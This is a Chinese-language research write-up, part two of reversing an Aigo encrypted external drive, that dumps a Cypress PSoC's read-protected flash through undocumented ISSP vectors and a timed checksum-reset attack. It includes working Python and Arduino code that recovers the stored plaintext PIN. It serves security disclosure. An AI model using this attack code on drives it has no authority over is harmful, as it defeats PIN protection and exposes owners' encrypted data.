逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储

这是有关入侵外部自加密驱动器的文章的第二部分,也是最后一部分。 提醒一下,最近一位同事给我带来了一块爱国者(爱国者)SK8671硬盘,我决定对其进行逆向,现在我分享一下它的结果。 在进一步阅读之前,请务必阅读 第一部分 文章。

4. 我们开始从内部 PSoC 闪存驱动器中进行转储
5.ISSP协议
– 5.1。 什么是 ISSP
– 5.2。 揭秘向量
– 5.3。 与 PSoC 通信
– 5.4。 片上寄存器的识别
– 5.5。 安全位
6. 第一次(失败)攻击:ROMX
7. 第二次攻击:冷启动跟踪
– 7.1。 执行
– 7.2。 读取结果
– 7.3。 Flash二进制重建
– 7.4。 查找PIN码存储地址
– 7.5。 清理126号街区
– 7.6。 PIN 码恢复
8。 接下来是什么?
9。 结论

逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储


4. 我们开始从内部 PSoC 闪存驱动器中进行转储

因此,一切都表明(正如我们在[第一部分]()中所确定的那样)PIN 码存储在 PSoC 的闪存深度中。 因此,我们需要读取这些flash深度。 前面必要的工作:

  • 控制与微控制器的“通信”;
  • 找到一种方法来检查此“通信”是否受到保护以防止从外部读取;
  • 找到绕过保护的方法。

有两个地方可以查找有效的 PIN 码:

  • 内部闪存;
  • SRAM,其中可以存储 PIN 码,以便将其与用户输入的 PIN 码进行比较。

展望未来,我会注意到,在逆转 ISSP 协议未记录的功能之后,我仍然设法转储内部 PSoC 闪存驱动器 - 使用称为“冷启动跟踪”的硬件攻击绕过其安全系统。 这使我能够直接转储实际的 PIN 码。

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

最终程序代码:

5.ISSP协议

5.1. 什么是 ISSP

与微控制器的“通信”可能意味着不同的含义:从“供应商到供应商”到使用串行协议(例如 Microchip PIC 的 ICSP)进行交互。

赛普拉斯为此拥有自己的专有协议,称为 ISSP(系统内串行编程协议),部分描述见 技术规格. US7185162专利 还给出了一些信息。 还有一个开源等效项,称为 HSSP(稍后我们将使用它)。 ISSP 的工作原理如下:

  • 重新启动 PSoC;
  • 将幻数输出到该 PSoC 的串行数据引脚; 进入外部编程模式;
  • 发送命令,它们是称为“向量”的长位串。

ISSP 文档仅为少数命令定义了这些向量:

  • 初始化-1
  • 初始化-2
  • 初始化-3(3V 和 5V 选项)
  • ID设置
  • 读取ID字
  • 设置块编号:10011111010dddddddd111,其中dddddddd=块#
  • 批量擦除
  • 程序块
  • 验证设置
  • 读字节:10110aaaaaaZDDDDDDDDZ1,其中 DDDDDDDD = 数据输出,aaaaaa = 地址(6 位)
  • 写入字节:10010aaaaaadddddddd111,其中 dddddddd = 数据输入,aaaaaa = 地址(6 位)
  • 安全
  • 校验和设置
  • 读取校验和:10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1,其中 DDDDDDDDDDDDDDDD = 数据输出:设备校验和
  • 擦除块

例如,Initialize-2 的向量:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

所有向量都具有相同的长度:22 位。 HSSP 文档提供了一些有关 ISSP 的附加信息:“ISSP 向量只不过是表示一组指令的位序列。”

5.2. 揭秘向量

让我们弄清楚这里发生了什么。 最初,我假设这些相同的向量是 M8C 指令的原始版本,但在检查这个假设后,我发现操作的操作码不匹配。

然后我用谷歌搜索上面的矢量并发现 在这里 在一项研究中,作者虽然没有详细介绍,但给出了一些有用的提示:“每条指令都以对应于四个助记符之一的三位开头(从 RAM 读取、写入 RAM、读取寄存器、写入寄存器)。 然后是 8 个地址位,接着是 8 个数据位(读或写),最后是 XNUMX 个停止位。”

然后我能够从 Supervisory ROM (SROM) 部分收集到一些非常有用的信息。 技术手册。 SROM 是 PSoC 中的硬编码 ROM,为用户空间中运行的程序代码提供实用函数(与 Syscall 类似):

  • 00h:SWBoot复位
  • 01h:读块
  • 02h:写块
  • 03h:擦除块
  • 06h:表读取
  • 07h:校验和
  • 08h:校准0
  • 09h:校准1

通过将向量名称与 SROM 函数进行比较,我们可以将该协议支持的各种操作映射到预期的 SROM 参数。 因此,我们可以解码 ISSP 向量的前三位:

  • 100 => “雷姆”
  • 第101章
  • 第110章
  • 第111章

然而,只有通过与 PSoC 直接通信才能获得对片上流程的完整了解。

5.3. 与 PSoC 通信

由于德克·彼得劳茨基已经 移植的 Cypress在Arduino上的HSSP代码,我使用Arduino Uno连接到键盘板的ISSP连接器。

请注意,在我的研究过程中,我对 Dirk 的代码进行了相当多的更改。 你可以在GitHub上找到我的修改: 这里 以及我的存储库中用于与 Arduino 通信的相应 Python 脚本 cypress_psoc_tools.

因此,在使用 Arduino 时,我首先仅使用“官方”向量进行“通信”。 我尝试使用 VERIFY 命令读取内部 ROM。 正如预期的那样,我无法做到这一点。 可能是由于闪存驱动器内部激活了读保护位。

然后,我创建了一些自己的简单向量,用于写入和读取内存/寄存器。 请注意,即使闪存驱动器受到保护,我们也可以读取整个 SROM!

5.4. 片上寄存器的识别

查看“反汇编”向量后,我发现该设备使用未记录的寄存器(0xF8-0xFA)来指定 M8C 操作码,这些操作码直接执行,绕过保护。 这使我能够运行各种操作码,例如“ADD”、“MOV A, X”、“PUSH”或“JMP”。 感谢他们(通过查看它们对寄存器的副作用),我能够确定哪些未记录的寄存器实际上是常规寄存器(A、X、SP 和 PC)。

结果,HSSP_disas.rb 工具生成的“反汇编”代码如下所示(为了清楚起见,我添加了注释):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. 安全位

在这个阶段,我已经可以与 PSoC 进行通信,但我仍然没有有关闪存驱动器安全位的可靠信息。 令我感到非常惊讶的是,Cypress 没有向设备用户提供任何方法来检查保护是否已激活。 我深入谷歌终于了解到Cypress提供的HSSP代码是在Dirk发布他的修改后更新的。 所以! 这个新向量出现了:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

使用此向量(请参阅 psoc.py 中的 read_security_data),我们获得 SRAM 中 0x80 处的所有安全位,其中每个受保护块有两位。

结果令人沮丧:一切都在“禁用外部读写”模式下受到保护。 因此,我们不仅无法从闪存驱动器读取任何内容,而且也无法写入任何内容(例如,在那里安装 ROM 转储程序)。 而解除保护的唯一方法就是彻底擦除整个芯片。 🙁

6. 第一次(失败)攻击:ROMX

但是,我们可以尝试以下技巧:既然我们有能力执行任意操作码,为什么不执行用于读取闪存的ROMX呢? 这种方法成功的机会很大。 因为从SROM(向量使用的)读取数据的ReadBlock函数会检查是否是从ISSP调用的。 然而,ROMX 操作码可能没有这样的检查。 这是 Python 代码(在 Arduino 代码中添加了一些辅助类之后):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

不幸的是这个代码不起作用。 🙁 或者更确切地说它可以工作,但是在输出中我们得到了自己的操作码(0x28 0x30 0x40)! 我不认为设备的相应功能是读保护的一个要素。 这更像是一个工程技巧:当执行外部操作码时,ROM 总线被重定向到临时缓冲区。

7. 第二次攻击:冷启动跟踪

由于 ROMX 技巧不起作用,我开始考虑该技巧的另一种变体 - 出版物中描述 “对微控制器的固件保护透露太多信息”.

7.1. 实施

ISSP 文档为 CHECKSUM-SETUP 提供了以下向量:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

这本质上调用了 SROM 函数 0x07,如文档中所示(斜体是我的):

此函数校验和验证。 它从零开始计算一个闪存组中用户指定块数量的 16 位校验和。 BLOCKID 参数用于传递计算校验和时将使用的块数。 值“1”将仅计算块零的校验和; 然而 “0”将导致计算闪存组的所有 256 个块的总校验和。 16 位校验和通过 KEY1 和 KEY2 返回。 KEY1参数存储校验和的低8位,KEY2参数存储高8位。 对于具有多个闪存组的设备,将为每个闪存组单独调用校验和函数。 它将使用的存储体编号由 FLS_PR1 寄存器设置(通过设置其中与目标闪存存储体相对应的位)。

请注意,这是一个简单的校验和:字节只是一个接一个地添加; 没有花哨的 CRC 怪癖。 另外,知道M8C核心有一组非常小的寄存器,我假设在计算校验和时,中间值将被记录在最终将输出到输出的相同变量中:KEY1(0xF8)/ KEY2( 0xF9)。

所以理论上我的攻击是这样的:

  1. 我们通过 ISSP 连接。
  2. 我们使用 CHECKSUM-SETUP 向量开始校验和计算。
  3. 我们在指定时间 T 后重新启动处理器。
  4. 我们读取 RAM 来获取当前的校验和 C.
  5. 重复步骤 3 和 4,每次稍微增加 T。
  6. 我们通过从当前校验和 C 中减去之前的校验和 C 来从闪存驱动器恢复数据。

然而,有一个问题:重启后我们必须发送的Initialize-1向量会覆盖KEY1和KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

这段代码通过调用 Calibrate1(SROM 函数 9)覆盖了我们宝贵的校验和...也许我们可以只发送幻数(从上面代码的开头)进入编程模式,然后读取 SRAM? 是的,它有效! 实现此攻击的 Arduino 代码非常简单:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. 读取 checkum_delay。
  2. 运行校验和计算 (send_checksum_v)。
  3. 等待指定时间; 考虑到以下陷阱:
    • 我浪费了很多时间直到我发现结果是什么 延迟微秒 仅当延迟不超过 16383 μs 时才能正常工作;
    • 然后又浪费了同样的时间,直到我发现如果将 0 作为输入传递给它,delayMicroseconds 就会完全错误地工作!
  4. 将 PSoC 重新启动至编程模式(我们仅发送幻数,而不发送初始化向量)。

最终的Python代码:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

简而言之,这段代码的作用是:

  1. 重新启动 PSoC(并向其发送一个幻数)。
  2. 发送完整的初始化向量。
  3. 调用 Arduino 函数 Cmnd_STK_START_CSUM (0x85),其中以微秒为单位的延迟作为参数传递。
  4. 读取校验和(0xF8 和 0xF9)和未记录的寄存器 0x​​F1。

该代码在 10 微秒内执行 1 次。 0xF1 包含在此处,因为它是计算校验和时唯一发生更改的寄存器。 也许它是算术逻辑单元使用的某种临时变量。 请注意,当 Arduino 停止显示生命迹象时,我使用 picocom 重置 Arduino(不知道为什么)。

7.2. 读取结果

Python 脚本的结果如下所示(为了便于阅读而进行了简化):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

话虽这么说,我们有一个问题:由于我们使用实际的校验和进行操作,因此空字节不会更改读取的值。 然而,由于整个计算过程(8192 字节)需要 0,1478 秒(每次运行时略有变化),相当于每个字节大约 18,04 μs,因此我们可以利用这段时间在适当的时间检查校验和值。 对于第一次运行,所有内容都很容易读取,因为计算过程的持续时间总是几乎相同。 然而,此转储的结束不太准确,因为每次运行的“微小计时偏差”加起来变得很重要:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

即每微秒延迟就有 10 次转储。 转储闪存驱动器的全部 8192 字节的总操作时间约为 48 小时。

7.3. Flash二进制重建

我还没有完成编写将完全重建闪存驱动器的程序代码的代码,考虑到所有的时间偏差。 不过,我已经恢复了这段代码的开头。 为了确保我做得正确,我使用 m8cdis 对其进行了反汇编:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

看起来很合理!

7.4. 查找PIN码存储地址

现在我们可以在需要的时候读取校验和,我们可以轻松地检查它在以下情况下如何以及在哪里发生变化:

  • 输入错误的 PIN 码;
  • 更改 PIN 码。

首先,为了找到大致的存储地址,我在重新启动后以 10 毫秒为增量进行了校验和转储。 然后我输入了错误的 PIN 码并做了同样的事情。

结果并不令人愉快,因为有很多变化。 但最终我能够确定校验和在 120000 µs 到 140000 µs 的延迟之间发生了变化。 但是我在那里显示的“pincode”完全不正确——这是由于delayMicroseconds 过程的一个产物,当将0 传递给它时,它会做出奇怪的事情。

然后,花了将近 3 个小时后,我想起 SROM 系统调用 CheckSum 接收一个参数作为输入,该参数指定校验和的块数! 那。 我们可以轻松定位 PIN 码的存储地址和“错误尝试”计数器,精度高达 64 字节块。

我的初始运行产生了以下结果:

逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储

然后我将 PIN 码从“123456”更改为“1234567”并得到:

逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储

因此,PIN 码和错误尝试计数器似乎存储在第 126 号块中。

7.5。 清理126号街区

在我的完整转储中,从校验和计算开始,块 #126 应该位于大约 125x64x18 = 144000μs 的位置,而且看起来很合理。 然后,在手动筛选出大量无效转储(由于“微小时序偏差”的积累)之后,我最终得到了这些字节(延迟为 145527 μs):

逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储

很明显,PIN 码是以未加密的形式存储的! 当然,这些值不是用 ASCII 代码编写的,但事实证明,它们反映了从电容式键盘获取的读数。

最后,我运行了更多测试来查找错误尝试计数器的存储位置。 结果如下:

逆向和破解爱国者自加密外置硬盘驱动器。 第 2 部分:从 Cypress PSoC 中转储

0xFF - 表示“15 次尝试”,并且随着每次失败的尝试而减少。

7.6。 PIN 码恢复

这是我的丑陋代码,将以上内容组合在一起:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

这是其执行结果:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

万岁! 作品!

请注意,我使用的延迟值可能与我使用的一种特定 PSoC 相关。

8。 接下来是什么?

那么,让我们在 Aigo 驱动的背景下总结一下 PSoC 方面的情况:

  • 即使 SRAM 被读保护,我们也可以读取它;
  • 我们可以通过使用冷启动跟踪攻击并直接读取 PIN 码来绕过防刷卡保护。

然而,由于同步问题,我们的攻击存在一些缺陷。 可以改进如下:

  • 编写一个实用程序来正确解码“冷启动跟踪”攻击所获得的输出数据;
  • 使用 FPGA 小工具创建更精确的时间延迟(或使用 Arduino 硬件定时器);
  • 尝试另一种攻击:故意输入错误的PIN码,重新启动并转储RAM,希望将正确的PIN码保存在RAM中以供比较。 然而,这在 Arduino 上实现起来并不容易,因为 Arduino 信号电平为 5 伏,而我们正在检查的电路板可使用 3,3 伏信号。

可以尝试的一件有趣的事情是利用电压电平来绕过读保护。 如果这种方法有效,我们将能够从闪存驱动器获取绝对准确的数据 - 而不是依赖于读取具有不精确定时延迟的校验和。

由于 SROM 可能通过 ReadBlock 系统调用读取保护位,因此我们可以做同样的事情 描述 在 Dmitry Nedospasov 的博客上 - 会议上宣布重新实施 Chris Gerlinski 的攻击 “2017 年布鲁塞尔重建”.

可以做的另一件有趣的事情是从芯片中磨掉外壳:获取 SRAM 转储,识别未记录的系统调用和漏洞。

9。 结论

因此,该驱动器的保护还有很多不足之处,因为它使用常规(非“强化”)微控制器来存储 PIN 码……另外,我还没有研究过数据的处理情况在此设备上加密!

你能为爱国者推荐什么? 在分析了几种加密硬盘驱动器型号后,我在 2015 年做了 介绍 在 SyScan 上,他检查了多个外部 HDD 驱动器的安全问题,并就其中可以改进的方面提出了建议。 🙂

我花了两个周末和几个晚上做这项研究。 总共约40小时。 从最开始(当我打开磁盘时)计数到最后(PIN 码转储)。 同样的 40 个小时包括我写这篇文章的时间。 这是一次非常令人兴奋的旅行。

来源: habr.com

添加评论